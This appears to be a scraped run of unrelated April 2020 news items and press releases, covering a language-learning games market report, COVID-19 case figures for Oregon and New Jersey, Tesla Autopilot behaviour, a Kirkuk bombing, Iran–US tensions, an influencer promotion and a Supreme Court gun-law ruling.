Solutions Pte. Ltd. Backed with competitive intelligence and benchmarking, our research reports on the language learning games market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Language Learning Games Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist language learning games market growth during the next five years Estimation of the language learning games market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the language learning games market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of language learning games market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY END-USER Market segmentation by end-user Comparison by end-user Kids - Market size and forecast 2018-2023 Adults - Market size and forecast 2018-2023 Market opportunity by end-user PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison North America - Market size and forecast 2018-2023 Europe - Market size and forecast 2018-2023 APAC - Market size and forecast 2018-2023 MEA - Market size and forecast 2018-2023 South America - Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Increase in adoption of language learning applications by corporate Sustainable manufacturing process for physical games Introduction of multilingual language learning games PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Duolingo Inc. Early Lingo Hasbro Inc. KLOO Mark Media Corp. MindSnacks Inc. NetDragon Websoft Holdings Ltd. Rosetta Stone Ltd. Three Flip Studios Top Line Solutions, Pte. Ltd. PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005751/en/ [ Back To TMCnet.com's Homepage ] Union Minister Ravi Shankar Prasad on Tuesday urged State IT ministers to move swiftly and promote electronics manufacturing through pro-investment initiatives, in a bid to tap a "great opportunity" that now beckons India. Prasad, who interacted with State IT ministers through video-conference in the backdrop of the coronavirus pandemic, told reporters later that eased connectivity norms to facilitate work-from-home, which were to end on April 30, have now been extended till July 31. Prasad said States have been highly appreciative of the Aarogya Setu app and he assured them that a similar solution for feature phones is being developed and will be launched soon. The Union Minister for Electronics and IT further said his ministry is constantly monitoring spread of fake on social media platforms and that companies have informed the government of the progress they have made in removing content that were aimed at inflaming passion and placing roadblocks in India's fight against COVID-19. He cautioned that any inaction by companies to clamp down on fake would be met with consequences at the Centre and State levels, as well as police action. The minister said products coming from any country, particularly China, should be subject to stringent security audit and verification. "One thing is clear... we are not against any country, we are only pro India, we are committed to India and will take measures to create opportunities for India. As regards security initiative are concerned...any product coming from any country particularly China, we expect proper security audit and verification," he said replying to a specific query on India's stance on Chinese products. Summing up his interaction with the State IT ministers to discuss challenges and road map in the backdrop of coronavirus pandemic, Prasad said it has been decided that the IT ministry along with NIC will come out, in 3-4 days' time, with an app that will facilitate sharing of best practices. "I took on board the suggestion that we must have a strategic group assisting our system, state governments, (their) IT Ministers and some of the best minds of IT profession... so that this type of challenge and opportunity, we can leverage with fresh ideas. I have also relaxed norms for working from home, it was to end on April 30, I have extended it to July 31. More and more products for Aarogya Setu app, e-pass, linkage with the district officials, all I have agreed to immediately," he said. The minister also underlined the government's commitment to promote electronics manufacturing, in a big way. "A great opportunity beckons India, and we already have policies in place. This is India's opportunity, where Centre and State Governments should move together. I have urged State IT ministers that they should also undertake pro-investment initiatives," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Albany, N.Y. Gov. Andrew Cuomo said in a new interview he wishes he spoke out sooner about the dangers of the new coronavirus that has now killed over 17,000 people in New York. Cuomo spoke with Axios on HBO about the pandemic and the states response. Axios noted that death toll in New York is vastly larger than many other major cities around the world and some entire nations, but Cuomo has been widely praised for his leadership. The outlet asked him what he wished he could change about his response. "I wish someone stood up and blew the bugle," he said. "And if no one was going to blow the bugle, I would feel much better if I was a bugle blower last December and January. ... I would feel better sitting here today saying, 'I blew the bugle about Wuhan province in January.' I can't say that." Even though China was saying the virus was under control in December, Cuomo said more should have been done to verify that. Axios noted the World Health Organization declared the virus an international public health emergency on Jan. 30 and the U.S. Centers for Disease Control and Prevention warned Americans to prepare for community spread on Feb. 25. The outlet also said Cuomo was still projecting confidence in early March and even later in the month was saying fear was in many ways a bigger danger than the virus itself. Cuomo told Axios that because of his "arrogance" about the quality of New York's health system, he didn't think the pandemic would be as serious in the state as it was elsewhere. But he also said he doesn't believe New Yorkers feel let down or failed by their government. "I think they feel good about what government has done. ... Their health care system did respond," Cuomo said, according to Axios. "This was not Italy, with all due respect. ... There were not people in hallways who didn't get health care treatment." He did say he thought Americans will push leaders to do a better job during the next pandemic, according to Axios. MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Coronavirus economy: New Yorkers going weeks with no job, no call from unemployment Cuomo: Many parts of NY will be closed past May 15, heres how others reopen Onondaga County warns of potential coronavirus exposure at Target, Walmart Complete coronavirus coverage on syracuse.com Contact Kevin Tampone anytime: Email | Twitter | Facebook | 315-282-8598 (CNN) Tesla has said its latest version of Autopilot, its autonomous driving software, is able to stop at traffic lights. But some Tesla drivers are learning it doesn't just stop at red lights, it appears to slow down for green lights, too. Last Friday, Tesla drivers first reported receiving a software update that included "Traffic Light and Stop Sign Control," which is designed to slowdown and stop the vehicle for visible traffic lights or stop signs. Tesla describes the software as being in "beta," meaning it's unfinished and still officially in testing. It's designed to gradually improve as the artificial intelligence that powers it learns from the data that's being collected as Tesla cars drive on public roads, according to a notification in Tesla vehicles when the system is first activated. A visual prompt appears on the dashboard as the car approaches an intersection that reads, "Stopping for traffic control in 300 ft. Use accelerator or cruise stalk to continue." The number of feet in the message appears to change depending on how close the vehicle is to the stop sign or traffic signal. "This feature will be conservative, slowdown often at first, and will not attempt to turn through intersections," Tesla says in a statement shown in the console screen of Tesla owners' vehicles after the update is installed. Tesla owners have posted videos and described on social media how the system has begun to slow their cars for green lights. And in one case, a driver posted a video showing the car slowing to 6 MPH before a green light. Slowing when it shouldn't isn't the only problem. Tesla warns Autopilot may not stop the car when it should. "This feature may not stop for all traffic controls," Tesla cautions in the statement. Drivers are reminded that they must continue to pay attention and be ready to take immediate action. Missy Cummings, a Duke University professor who studies autonomous systems, cautioned that the feature may lead to traffic crashes, especially as other drivers may not expect a Tesla in front of them to slow at a green light. "There's no upside to this software," said Cummings, who is also on the board of Veoneer, a Swedish automotive technology company that makes driver assistance systems. "There's a capability being released to the general public that's known to have significant defects." Cummings said the software raises the question of whether regulators should allow unfinished software to be released to the public. Tesla has made a habit of launching products before they're perfected, with Musk himself tweeting in 2016 that Autopilot's official "Beta" status was to emphasize the software's incomplete status. "They've released software that they know can be wrong, they tell you it's wrong, and yet you still accept it and you pay extra for [full self-driving]," Cummings said. "I'd want my money back." Tesla did not immediately respond to a request for comment. The features are all part of CEO Elon Musk's plans to develop fully self-driving cars that require no human supervision. Musk has previously made bold predictions, including that the company would operate robotaxis in 2020, and have more than a million full self-driving Teslas on roads. Tesla is taking a dramatically different approach than its competitors, which test self-driving features either virtually or with a test fleet operated by professional drivers. The National Transportation Safety Board has repeatedly criticized Tesla's approach to autonomous driving features, and has said the automaker should develop a better way to sense if drivers are distracted while using the technology. Paul Godsmark, chief technology officer of CAVCOE, the Canadian Automated Vehicles Centre of Excellence, said he's concerned the new Tesla feature will lull drivers into a sense of complacency, and lead to crashes, as the system's flaws must surface when drivers least expect it. "I think it's a recipe for disaster, " Godsmark said. "If it's going to stop at 9,999 lights and kill you at number 10,000, how are you going to keep your concentration?" Clarification: This story has been updated to reflect Cummings' position on the board of Veoneer, a supplier of automotive safety systems. This story was first published on CNN.com "Tesla's latest Autopilot feature is slowing down for green lights, too." A militant wearing a suicide vest struck an intelligence bureau in northern Iraq on Tuesday, wounding at least three members of the security personnel, Iraqi officials said, blaming the attack on the Islamic State group. Iraqi security forces had spotted two men, one wearing an explosive vest and a driver, approaching the gate of the Intelligence and Counter-Terrorism Directorate in the Qadisiyah neighborhood in the northern city of Kirkuk, a security official said. The man hurled a grenade and then detonated his explosives vest before entering the premises, the official said. The other man, apparently the driver, sped away from the the scene. There was no claim of responsibility by the Islamic State group, which was largely defeated in Iraq in 2017 but still maintains sleeper cells to target Iraqi forces. Suicide bombings were a hallmark of the militant group, which at the height of its power in 2014 controlled nearly a third of both Iraq and Syria. A senior Iraqi intelligence official told The Associated Press that the department had knowledge that Daesh would carry out a suicide operation against the Intelligence Directorate, but we did not know on which day." Daesh is an Arabic acronym for the Islamic State group. Both the security official and the senior intelligence official spoke on condition of anonymity because they were not authorized to talk to the media. The attack was the first attempted suicide bombing in recent months, coming amid minor IS attacks in the provinces of Kirkuk, Diyala and Salahaddin. The provinces' rugged terrain is difficult to police and a territorial dispute between the federal government in Baghdad and Iraq's semi-autonomous northern Kurdish region has led to security gaps in the area. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Any "illegal and provocative move" will be met with the crushing response of the Iranian forces, General Headquarters of the Islamic Republic Armed Forces has warned U.S. forces in the Persian Gulf. A statement on Monday, April 27, by Irans military tells "the U.S. and its allies" to honor international rules and regulations while passing through "Iran's exclusive economic waters in the Sea of Oman and the Persian Gulf" and avoid creating any tension or conflict, the state-run daily, Tehran Times reported on Monday. "Exclusive economic waters", EEW applies only to a country's rights to resources on the seabed and does not connote sovereignty over waters beyond its territorial sea limit. EEW extends 200 nautical miles but has no impact on navigation on international waters. Most of a country's EEW might be international waters as far as navigation is concerned. By mentioning "Exclusive economic waters" Iran seems to be trying to lay claim to waterways, which according to international law are international waters. Describing the U.S. move to form a coalition to maintain safety of navigation in the region and to send its warship to the Persian Gulf as "dangerous" and against "international conventions" and maritime regulations, the statement has asserted that last Iranian calendar year (March 20, 2019-2020) witnessed the peak of American evil and destabilizing actions in the Persian Gulf and Sea of Oman. Last year, following attacks on several oil tankers in the Persian Gulf and accusing Iran of carrying them out, the United States sought to form an international coalition to protect free and safe passage for ships in the region. The coalition began its mission last fall with the participation of countries such as the United Arab Emirates, Saudi Arabia, and the United Kingdom. Nevertheless, the General Staff of the Iranian Armed Forces' statement has dismissed the U.S. move as a "false alliance", claiming, "The coalition not only has had no role in providing security in the region, but its dangerous actions disrupted peace and order in the area." Beyond a general declaration the Iranian statement does not say how the U.S. and its coalition partners "disrupted peace and order". Meanwhile, the statement insists that the Islamic Republic of Iran, in cooperation with the countries of the region, can maintain "peace and stability at an acceptable level" in the region. The statement is issued five days after President Donald Trump announced that he had ordered the U.S. Navy to target and destroy Iranian boats if they harassed American ships in the region. President Trump issued the order after the U.S. Navy reported that the Islamic Revolution Guards Corps' (IRGC) speedboats had threatened the U.S. Naval vessels in the Persian Gulf. Iran dismissed the report as "fake" and "Hollywood style." It warned that "if an American ship or military unit wants to endanger the safety of Iran's civilian vessels or warships, they will be targeted." The General Staff of the Iranian Armed Forces has reiterated in its statement that "the Islamic Republic of Iran has not and will not initiate any tensions in the region, but will always defend its territorial integrity with readiness, firmness, and strength." PORTLAND, Ore. Oregon public health officials have identified 43 new cases of the new coronavirus in the state as of 8:00 a.m. on Monday, April 27. The state also reported one more death has occurred due to COVID-19. At present, 92 deaths have been attributed to the virus. We want to keep you informed about #COVID19 in #Oregon. Data are provisional and change frequently. For more information, visit https://t.co/HOiXqGC98d. pic.twitter.com/5rzfI3WF07 OR Health Authority (@OHAOregon) April 27, 2020 The Oregon Health Authority said that there are now a total of 2,354 people in the state who have been diagnosed with COVID-19 through a positive test. 48,844 have tested negative for the virus. RELATED: Jackson, Josephine counties report no new COVID-19 cases on Monday OHA reported new cases in the following counties: Coos (2), Deschutes (2), Linn (5), Malheur (1), Marion (11), Multnomah (12), Washington (9), Yamhill (1). In an unusual addendum to its daily report, OHA said that it received results for an unexpectedly high number of tests on April 20 from samples collected on April 18 represented as a considerable spike on the state's "epi curve" chart. "Epidemiologists are working to determine whether there is a true increase in cases, a technical anomaly in reporting dates to be adjusted based on further reporting, or any geographic or other pattern," the agency said. "OHA will continue to monitor case data for a potential explanation." According to the state's graph, 64 samples collected on April 18 tested positive for COVID-19. Of the patients tested, 40 were not hospitalized, six were in the hospital, and the status of 18 more was unknown. The days immediately before and after that saw almost half as many cases. SPECIAL SECTION: Coronavirus Watch Public health officials gave the following information about the latest reported fatality: Oregons 92nd COVID-19 death is a 91-year-old female in Washington County, who tested positive on April 17th and died on April 25th at Providence St. Vincent Medical Center. She had underlying medical conditions. OHA: Modeling report shows 'flattened curve' OHA released an update to its epidemic modeling report last week that found the state's stay-at-home and social distancing measures may have helped to prevent as many as 70,000 COVID-19 cases in Oregon. The epidemic would have continued to grow exponentially, doubling every week, the report states. By April 16th, the number of cumulative infections would have been about 80,000, including 2,000 hospitalizations. Hence, the interventions are estimated to have averted over 70,000 infections, including over 1,500 hospitalizations (450 instead of 2,000), by April 16th. Our modeling continues to show that our collective efforts are working, said Dean Sidelinger, MD, state epidemiologist. And despite the very real hardships these sacrifices have cost Oregonians, we have to keep it up even as we move toward easing restrictions. We need to build on our success in limiting the spread of COVID-19. New Jerseys death toll from the coronavirus pandemic has risen to at least 6,442 residents as state officials reported another 402 fatalities Tuesday and residents prepare for more weeks of near-lockdown restrictions that have already lasted more than a month. In all, the Garden State one of the nations coronavirus hotspots has reported at least 113,856 cases of COVID-19 among its 9 million residents after officials reported another 2,887 on Tuesday. The 402 new deaths are the most officials have announced in a single day though Gov. Phil Murphy noted all of fatalities and cases announced Tuesday did not occur in the past day and that weekend lags in reporting may inflate those numbers. This is not necessarily a one-day total of 402," Murphy said during his daily coronavirus press briefing in Trenton. "We expected that more deaths which occurred over the weekend just had yet to be counted. Regardless, New Jersey continues to have the second-most deaths and cases among American states after neighboring New York as well as a vast economic fallout from the virus. Despite the growing numbers, officials have stressed that hospitalizations from the virus continue to drop and that the curve of new cases is leveling off. As of 10 p.m. Monday, there were 6,478 patients in New Jerseys 71 hospitals with confirmed or suspected coronavirus cases, according to the state Department of Health. Thats up slightly from the day before but still down 22% since a peak of 8,293 cases on April 14. The slight uptick broke a six-day streak of consecutive declines. While we are seeing clear progress in some of these metrics, there is one number which always gives us enormous pause, Murphy said of the death toll. Tuesdays numbers came a day after Murphy unveiled a broad road map outlining the benchmarks New Jersey needs to reach before he can begin gradually lifting the orders he installed five weeks ago for residents to stay home and mandating nonessential businesses to close to fight the virus spread. Murphy did not provide a timetable, but he reiterated Tuesday that "we know we are still weeks away from being able to announce the first businesses openings. He also announced the members of the commission that will help map out the reopening. Murphy said the goal is to increase social distancing to save lives and not only bend the curve of cases, deaths, and hospitalizations but keep it going down. That bend is happening, but we need to see that literally going down and nosediving," the governor added. Meanwhile, a pack of protestors gathered outside Murphys briefing to pressure him to lift the restrictions. They chanted: Open New Jersey now! Murphy has said officials first need to see a 14-day trend showing drops in numbers, as well as double testing capacity and institute robust contact tracing and plans to isolate the infected. Quite simply, people will not want to go out and be participating members in our economy if they are fearful we have not done all that we can to protect them from COVID-19, he said. But our economy is goin to get a restart, the governor added. It is not a matter of if. It is a matter of when. WATCH: New Jersey governor lays out plan for reopening, but says it is "too early to tell" what the timeframe will be@GovMurphy: "I hope we'll be able to take some baby steps in the right direction sooner than later." pic.twitter.com/Egxfwsoegj Meet the Press (@MeetThePress) April 28, 2020 More than 210,000 New Jersey residents have been tested for coronavirus, and 120,503 have tested negative, officials said. The positivity rate is 42.8%. The county-by-county breakdown of cases and deaths includes: Bergen County: 15,251 with 1,002 deaths Hudson County: 14,309 with 722 deaths Essex County: 13,190 with 1,090 deaths Union County: 12,188 with 627 deaths Passaic County: 11,755 with 475 deaths Middlesex County: 11,102 with 515 deaths Ocean County: 6,151 with 342 deaths Monmouth County: 5,826 with 305 deaths Morris County: 5,128 with 377 deaths Mercer County: 3,605 with 212 deaths Camden County: 3,285 with 124 deaths Somerset County: 3,278 with 242 deaths Burlington County: 2,543 with 106 deaths Gloucester County: 1,179 with 38 deaths Sussex County: 882 with 97 deaths Atlantic County: 868 with 35 deaths Warren County: 848 with 71 deaths Cumberland County: 659 with 10 deaths Hunterdon County: 573 with 24 deaths Cape May County: 299 with 20 deaths Salem County: 219 with 8 deaths There are another 718 cases still under review to determine where the person resides. The total number of cases in the state is cumulative and does not include the likely thousands of people who have recovered from COVID-19, officials said. It is also difficult to get a complete picture of how much the virus has spread because state-run sites are testing only symptomatic residents, testing is backlogged, and the state is not yet reporting significant daily increases in testing. But Murphy and health officials have said the number of hospitalizations and deaths are clear barometers for how the state is managing the pandemic. As of Monday at 10 p.m., 1,809 coronavirus patients hospitalized in New Jersey were in critical care similar to the day before, officials said. Meanwhile, 1262 of those patients were on ventilators, which Murphy said continues to trend downward. Between 10 p.m. Sunday and the same time Monday, there were 488 new coronavirus patients hospitalized in the state, officials said.. There were also 419 patients discharged though that number includes deaths. State Health Commissioner Judith Persichilli said the hospitalization count statewide is flattening." But she noted Central Jersey hospitals reported Monday night their intensive care beds are totally full." Plus, Persichilli said, officials are seeing hospitalizations increase in South Jersey. Meanwhile, the virus continues to hit the states longterm care facilities including nursing homes and veteran homes hard. As of Tuesday, there were 17,201 positive cases across 484 longterm care facilities in the state, with 2,051 confirmed deaths attributed to COVID-19 and another 1,060 deaths suspected of it. For the deaths that New Jersey officials have data, the racial breakdown includes: White 52.4% Black 20.3% Hispanic 16.7% Other 5.3% Asian 5.2% The breakdown by age includes: 24 deaths aged 18-29 229 deaths aged 30-49 838 deaths aged 50-64 1,669 deaths aged 65 to 79 2,303 deaths aged 80 and older The states economy continues to suffer during the outbreak, with a record number of people more than 850,000 having filed for unemployment since aggressive social distancing began. Meanwhile, Murphy has warned that there could be historic public-worker layoffs if the state and local governments dont get more federal aid. As of Tuesday morning, more than 3 million people have tested positive for COVID-19 across the globe, according to a running tally by Johns Hopkins University. Of those, more than 212,000 have died and more than 906,000 have recovered. Our journalism needs your support. Please subscribe today to NJ.com. Brent Johnson may be reached at bjohnson@njadvancemedia.com. [April 28, 2020] Imperium Group's Shazir Mucklai Shares 2020's Hollywood Power Players New York, NY, April 28, 2020 (GLOBE NEWSWIRE) -- Imperium Group's CEO, Shazir Mucklai, had a chance to collaborate with TheKerplunk and Coin Digital Standard to look for top entrepreneurs who are poised to make an impact in 2020. In a roller-coaster year of megamergers and megadeals, the ranking of showbizs top execs, makers and stars sees big moves and a more dynamic (and diverse) group of powerhouses as the Obamas join Netflix, Phoebe Waller-Bridge ignites the town's creatives and J.Lo hustles her way onto the ultimate industry A list. That being said here are some exciting entrepreneurs to look out for in 2020: Charli D Amelio - @charliDAmelio Charli DAmelio has become the first Tik tok star to smash 50 million followers on the platform. Shes truly set for world domination at this point. At just 15 years old, the queen of TikTok is killing it, being the first person to pass the huge milestone. Sharing a new video to celebrate, Charli wrote: THANK YOU GUYS SO SO SO MUCH FOR 50 MILLION THAT IS INSANE!!! I LOVE YOU!!! The teen is best known for her dancing TikToks, previously appearing on The Tonight Show Starring Jimmy Fallon to show us all how its done. The best known member of TikTok group The Hype House, shes beating out celebrities including Jason Derulo, Justin Bieber, and Jennifer Lopez. Charli joined TikTok back in 2019, becoming the most-followed creator on the platform in just 10 months, overtaking Loren Gray, who previously held the number one spot. Although its going to be a while before anyone comes for Charlis crown, other celebs have been embracing TikTok during the coronavirus lockdown. Charli definitely will be someone to watch for the rest of the year. Natasha Ahuja - Beaudefy the Odds @natashaahuja Natasha Ahuja is the Founder of Beaudefy the Odds, an upcoming Non-Profit Organization. Her mission is to remind everyone that their beauty is more powerful than their struggle. The purpose is to work closely with people who have suffered from an illness or hardship that has lowered their confidence and produce video content to give them a voice. Through the power of makeup Natasha will be working with hospitals, healthcare failities and medical professionals to help people remember that they never lost their beauty. She hopes to create an everlasting community that will allow people to conjoin because of their struggles - not segregate. She is the next big beauty influencer and motivator to watch. Jean Mouret - @explorer Jean Mouret is one of the largest marketers and travel influencers on Instagram. With over 34 Million followers grown since 2014 on the platform, his account @Explorer (with over 1.1 Million followers and over 3.7 Billion impressions accumulated) has reached nearly 1 in 2 people in the world. Thanks to the power of Instagram, Explorer has landed huge deals with sponsors, including exclusive access to boutique and luxury hotels, supercars, private jets, and high end watches. What separates Explorer from others is the uniqueness of his name and the quality of his personal brand as an influencer, being followed by celebrities including DJ Khaled, Miranda Kerr, Trey Songz, Harry Holland, and many more! Erika Del Toro - @erikarubideltoro Del Toro is a self made millionaire, co owner of PHP Agency next to Patrick bet David - Jen Bet David next to her brother Hector Del Toro. They have a million base shop called CONQUISTADORS. There planning to take over the world with the life insurance industry. Entrepreneur who is continuously expanding her business all over Central California. She is one of the hardest working single moms in business and as an ambassador for the Latino community- she is helping Latinos plan better for their financial future. Erika Rubi Del Toro Born in Guadalajara Mexico , born on March 11th, Is now living in Miami Florida. She is currently working on her new makeup line @conquistadivacosmetics is debuting a makeup palette for your daily entrepreneur life. She is working on many projects and is ready planning for 2021 on projects. She is crossing on the social media world. Almost at 100,000 on Instagram. She always says Successful tastes so good after the struggle Wendy Campos - @BossBabeWendy Wendy Campos is not your typical 25 year old. As an entrepreneur. She has amassed over six figures in the financial industry and she has made a massive impact on a national level. Wendy is a Co-Owner of PHP Agency, a national financial services organization that has gotten attraction from Forbes. She has shared the stage at events where Kevin Hart, Kobe Bryant, and President Bush have been interviewed, and was honored to get one of the last Kobe Bryant signed jerseys. Being one of the youngest six figures earners in her industry, she has been mentored by millionaires like Patrick Bet David. Wendy is not planning on stopping; she is going to be the next millionaire in her industry. She is going to open up over 50 offices in the United States while giving people an opportunity to reach their full potential. Her major office in Phoenix Arizona. Wendy is debuting her YouTube channel later this year. Christian Garcia - @chrstiangarcia Young, inspiring, and humble are just a few words to describe, Christian Garcia. Garcia rose from fame when we were first introduced to him on X Factor Mexico. Now the artist on the rise is gearing up to release his debut album! Christian has been singing since the mere age of seven-years-old. He went from performing at local county fairs in his home state to meeting with artists such as Meghan Trainor, Demi Lovato, and more. Christian has passed over half a million on Instagram and his slime videos have garnered the attention of Good Morning America and Telemundo. He has been featured on Kylie Jenners Snapchat and other celebrity cameos. He is set to debut an album later in the year. He has also crossed over to the entrepreneur world and is investing in huge brands. He says Im crossing industries that makes me work harder. Zayn Silmi - @ZaynSilmi Zayn is the founder and CEO of The People Of Sacramento @ThePeopleOfSacramento, @thePeoplesfirm, @CommunitybyTPOS, & @CREAMNationSac. As a community oriented individual, Zayn has cultivated creativity and dedicated his career to empowering his community through social media & community relations. Zayn is a self-made millennial that helps turn people & businesses into profit. Recognized as the ambassador of the Capital City of California with hundreds of thousands of followers across his platforms, he was recently named one of Sacramento's most powerful leaders in the region due to his efforts empowering local non-profits & organizations. Zayn founded TPOS nearly 6 years ago as a serial entrepreneur and has been highly involved in making Sacramento a destination city over the years. His agency has worked with professional athletes, public figures, and organizations to help utilize their givebacks in the region. His firm is also responsible for the launch of respected companies such as JUMP, Zebra, and countless others who have utilized his company to launch the Northern California market. Contact: Shazir Mucklai CEO Imperium Group [email protected] [ Back To TMCnet.com's Homepage ] SCOTUS on December 2, 2019. The US Supreme Court today issued a per curiam opinionan unsigned decision, often signaling unanimitydismissing a supremely controversial New York gun law case that had Americans up in arms. But the justices were not all in agreement here. The case arises from a New York City gun licensing scheme that limited transportation of firearms registered to a particular location. Members of the New York State Rifle and Pistol Association (NYSRPA) sued the city, arguing a violation of the Second Amendment right to bear arms. They needed to transport their gunslocked and unloadedto firing ranges, shooting competitions, and second homes, and said the constitutional right wasnt homebound. When the gun groups challenge reached the high court and was granted review in January 2019, the city and state modified their rules and regulations to allow the transport of guns, and then urged the justices to dismiss the matter as handled. The NYSRPA, however, countered that issues remained: Could gun owners, for example, stop for coffee, food, or bathroom breaks while traveling with firearms in the state? The gun group wanted the court to decide the firearms case, the first on this matter at the high court in over a decade, on substantive grounds. Progressives, however, worried that the National Rifle Association and conservative groups were hoping a newly constituted bench, now including Neil Gorsuch and Brett Kavanaugh, would deliver an opinion strongly supporting the Second Amendment and limiting firearms safety measures. Gun safety advocates hoped the case would be dismissed to avoid such a fate, and got their way. But while Kavanaugh joined the majority today, agreeing with the procedural resolution of the case, he also stated that he supported the substantive analysis laid out in a dissent by Samuel Alito, who was joined by Gorsuch and Clarence Thomas. In other words, the next such case to make its way to the high court may work out just as the NRA hoped and gun safety advocates feared. Story continues The majority of the justices today found that the case based on the old rules no longer needed deciding, but acknowledged that the legal framework had changed. We do not here decide that dispute about the new rule, they wrote. Instead, they vacated the lower courts decision and remanded the matter back, allowing for further proceedings in which the parties may, if necessary, amend their pleadings or develop the record more fully. In other words, the majority split the difference between the parties, more or less. They gave New York authorities what they sought, but allowed the gun association to work out claims based on the new rules in the lower court. Alitos dissent protested the majoritys take. By incorrectly dismissing this case as moot, the Court permits our docket to be manipulated in a way that should not be countenanced, Alito argued. The dissenting justices say that if there are any remaining issues, like the coffee break question, then the case isnt moot. Alitos opinion also references the political brouhaha surrounding this case, explaining: Five United States Senators, four of whom are members of the bar of this Court, filed a brief insisting that the case be dismissed. If the Court did not do so, they intimated, the public would realize that the Court is motivated mainly by politics, rather than by adherence to the law, and the Court would face the possibility of legislative reprisal. Although he doesnt say so explicitly, Alito seems to suggest that his colleagues in the majority crumbled under this pressure, writing, Regrettably, the Court now dismisses the case as moot. If the Court were right on the law, I would of course approve that disposition. The friend of the court brief Alito refers to did set off a firestorm of controversy, and was dubbed an enemy of the court filing by the Wall Street Journal editorial board. In response to this submission, Senate majority leader Mitch McConnell and Republican lawmakers last August sent the Supreme Court a strange letter reassuring the justices that they ought not be intimidated by the rude submissions of Democratic politicians, yet including a similarly menacing message. In the letter, McConnell and his colleagues expressed fear that Americans will be unable to trust the court if the justices dont go forward and decide the case, despite pressure from Democrats, lest they seem to be responding to politicians concerns. Ultimately, the justices heard the case. In December at oral arguments, they hinted at their positions, borne out today. Gorsuch called New Yorks new legislation and rules a herculean late-breaking effort to avoid constitutional review by the Supreme Court. Meanwhile Sonia Sotomayor told the gun groups counsel that he was asking [the justices] to opine on a law thats not on the books and Ruth Bader Ginsburg asked, Whats left of this case? Alito had made it evident that he was eager to decide the matter on constitutional grounds. He called an attempt to dismiss the case unfair to the gun group. Where other justices were mostly focused on the question of mootness, Alito insisted New York Citys counsel discuss the Second Amendment and offered new hypothetical situations the gun owners hadnt even raised themselves. Under the new rules, he asked, could licensed firearm carriers from the city stop at their mothers house and help with chores for an hour or would this violate the law requiring direct and uninterrupted travel? Now, it seems this scenario will have to be considered by a lower court if the gun group adopts Alitos suggestion. Sign up for the Quartz Daily Brief, our free daily newsletter with the worlds most important and interesting news. More stories from Quartz: Punjab Chief Minister Amarinder Singh on Tuesday said a 21-day quarantine was mandatory for all those returning to the state from other places, a day after eight pilgrims, who had recently returned from Nanded, tested positive for coronavirus. All pilgrims returning from Nanded in Maharashtra and students and labourers coming from Rajasthan will be stopped at the border and sent to government quarantine centres, he said in an official statement here. He added that Radha Soami Satsang Deras would also be used to quarantine these people, whose return was being facilitated by his government since the past three days. The CM made the announcement while discussing the COVID-19 and lockdown situation as well as the ongoing procurement operations in the state with Congress MLAs through a video conference, the statement said. Around 4,000 pilgrims from Punjab who had gone to pay obeisance at the Gurdwara Hazur Sahib in Nanded were stranded there because of the lockdown imposed to combat coronavirus. Now, they are being brought back after the intervention of the Union Home Ministry. Besides, 3,000 workers from Jaisalmer and 152 students from Kota in Rajasthan are also being brought back to the state. The chief minister said the state has already lost 19 lives to COVID-19 and reported 330 cases of infection. After the NRIs and the Tablighi Jamaat, the latest threat was on account of the pilgrims coming back from Gurdwara Hazur Sahib in Nanded, the CM said. Another large 'jatha' (group of people) is expected to return to Punjab on Wednesday and the state government plans to put all of them under quarantine in the Radha Soami deras, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The HRD ministry on Saturday asked states to start the process of evaluation of board exams and facilitate CBSE for the same even as Delhi deputy minister Manish Sisodia urged the ministry to cancel the pending exams for Classes 10 and 12 and promote students on the basis of internals The HRD ministry on Saturday asked all the state governments to start the process of evaluation of board exam papers and facilitate the Central Board of Secondary Education (CBSE) for the same. Meanwhile, Delhi deputy minister Manish Sisodia urged the central ministry to cancel the pending exams for Classes 10 and 12 and promote students on the basis of internals. "The evaluation process must begin and states must facilitate CBSE to evaluate answer sheets of the students in their respective states," Union HRD Minister Ramesh Pokhriyal said, according to PTI, at a meeting held through video-conferencing with state education ministers. Pokhriyal, however, didn't announce any exam dates for the pending papers for Class 10 and 12 board exams. According to reports, the Pokhriyal had on Monday said that pending board exams for classes 10 and 12 will be held once the lockdown is lifted. According to reports, while exams in 12 subjects for Class 12 are yet to be held, Class 10 and 12 students affected by the riots in North East Delhi have even more pending papers. A final decision on the issue is expected by the end of the week, Times Now said. Not feasible to hold pending exams, says Sisodia During the HRD Ministry-led meeting with state education ministers, Delhi deputy chief Minister Manish Sisodia, however, recommended that students in Classes 10 and 12 should be 